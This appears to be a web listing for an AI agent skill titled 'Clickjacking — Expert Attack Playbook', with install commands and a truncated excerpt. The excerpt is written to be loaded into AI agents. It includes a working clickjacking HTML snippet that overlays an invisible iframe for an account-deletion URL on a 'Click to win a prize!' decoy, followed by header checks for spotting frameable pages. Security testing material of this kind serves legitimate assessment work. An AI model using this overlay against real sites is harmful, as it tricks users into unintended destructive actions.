Skills for Real Engineers. Straight from my .agents directory.
clickjacking
Agent skill fromyaklang/hack-skills
Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.
How to install clickjacking
npx skills add yaklang/hack-skills# or add only this skill to Claude Code: copy the folder
skills/clickjacking/
# into
~/.claude/skills/clickjacking/ (all projects)
.claude/skills/clickjacking/ (one project)
1# SKILL: Clickjacking — Expert Attack Playbook23> **AI LOAD INSTRUCTION**: Clickjacking (UI redress) techniques. Covers iframe transparency tricks, X-Frame-Options bypass, CSP frame-ancestors, multi-step clickjacking, drag-and-drop attacks, and chaining with other vulnerabilities. Often a "low severity" finding that becomes critical when targeting admin actions.45## 1. CORE CONCEPT67Clickjacking loads a target page in a transparent iframe overlaid on an attacker's page. The victim sees the attacker's UI but clicks on the invisible target page, performing unintended actions.89```html10<style>11 iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }12 .decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }13</style>14<div class="decoy"><button>Click to win a prize!</button></div>15<iframe src="https://target.com/account/delete?confirm=yes"></iframe>16```1718---1920## 2. DETECTION — IS THE PAGE FRAMEABLE?2122### Check X-Frame-Options Header2324```25X-Frame-Options: DENY → cannot be framed (secure)26X-Frame-Options: SAMEORIGIN → only same-origin framing (secure for cross-origin)27X-Frame-Options: ALLOW-FROM uri → deprecated, browser support inconsistent28(header absent) → frameable! (vulnerable)29```3031### Check CSP frame-ancestors3233```34Content-Security-Policy: frame-ancestors 'none' → cannot be framed35Content-Security-Policy: frame-ancestors 'self' → same-origin only36…
Excerpt shown under the repository's MIT license.
More skills in hack-skills
Similar skill repositories
An agentic skills framework & software development methodology that works.
Public repository for Agent Skills
Makes your AI agent think like the laziest senior dev in the room. The best code is the code you never wrote.
An AI skill that provides design intelligence for building professional UI/UX across multiple platforms.
Persistent Context Across Sessions for Every Agent – Captures everything your agent does during sessions, compresses it with AI, and injects relevant context back into future sessions. Works with Claude Code, OpenClaw, Codex, Gemini, Hermes, Copilot, OpenCode + More
